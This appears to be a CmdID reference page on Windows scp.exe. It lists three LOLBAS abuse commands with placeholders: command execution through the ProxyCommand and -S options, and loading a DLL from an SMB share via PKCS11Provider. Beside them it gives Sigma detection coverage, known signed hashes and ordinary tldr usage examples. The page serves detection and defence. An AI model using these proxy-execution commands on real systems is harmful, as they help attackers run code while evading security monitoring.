CmdID

CmdID / Programs / Windows

scp.exe

Secure copy. Copy files between hosts using Secure Copy Protocol over SSH. tldr-pages

LOLBAS Execute 1 ATT&CK technique 3 documented commands 3 known copies with hashes

Opens CmdID with your command. It is read in your browser and sent nowhere.

How scp.exe is abused

documented by LOLBAS

Execute T1202 Indirect Command Execution

-o

Execute T1202 Indirect Command Execution

-s

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for scp.exe.

3 documented commands

from LOLBAS, each read by CmdID

Execute T1202 Indirect Command Execution User privileges

Spawns specified command from scp.exe -> ssh.exe, even if no SSH server is running on localhost (or any other address specified).

scp.exe -o ProxyCommand="{CMD}" . localhost:.
Identify

Trips 1 Sigma rule: mediumProgram Executed Using Proxy/Local Command Via SSH.EXE by frack113, Nasreddine Bencherchali

Execute T1202 Indirect Command Execution User privileges

Spawns specified command from scp.exe -> ssh.exe, even if no SSH server is running on localhost (or any other address specified).

scp.exe -S "{CMD}" . localhost:.
Identify

Trips no Sigma process-creation rule.

Execute T1218 System Binary Proxy Execution User privileges

Loads a DLL from an absolute path or SMB path into child process ssh.exe by abusing the PKCS11Provider option. The payload executes upon DLL load (DllMain) and requires exporting C_GetFunctionList to prevent premature termination by scp.exe.

scp -o PKCS11Provider="{PATH_SMB:.dll}" . win@github.com:.
Identify

Trips no Sigma process-creation rule.

1 of the 3 commands CmdID reads trips a Sigma process-creation rule; 2 trip none. These commands and their descriptions are from LOLBAS’s entry for scp.exe, by BinFault, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for scp.exe. CmdID reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
T1202Indirect Command Execution

Is it the real scp.exe?

file version info and known copies
Installed inC:\Windows\system32\OpenSSH\
Signed byMicrosoft Windows
ProductOpenSSH for Windows

3 known copies

8.1.0.1 · C:\Windows\system32\OpenSSH\scp.exe · signed by Microsoft Windows

9f109ced3d575702764073be91f83e46501db38659c6192e76a30e219f7ca9ac

8.1.0.1 · C:\WINDOWS\system32\OpenSSH\scp.exe · signed by Microsoft Windows

b30788c8d6fbcc8d037bda55b99813cbf6e3dd57d8a05aa1982a581da8bea669

7.7.2.1 · C:\Windows\system32\OpenSSH\scp.exe · signed by Microsoft Windows

8860e4273f59caa71fa585697e291270f94cee83439e5c94726d918d7c72f362

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Copy a local file to a remote host

scp path/to/local_file remote_host:path/to/remote_fileIdentify

Use a specific port when connecting to the remote host

scp -P port path/to/local_file remote_host:path/to/remote_fileIdentify

Copy a file from a remote host to a local directory

scp remote_host:path/to/remote_file path/to/local_directoryIdentify

None of the 3 examples CmdID reads matches LOLBAS abuse or trips a Sigma process-creation rule.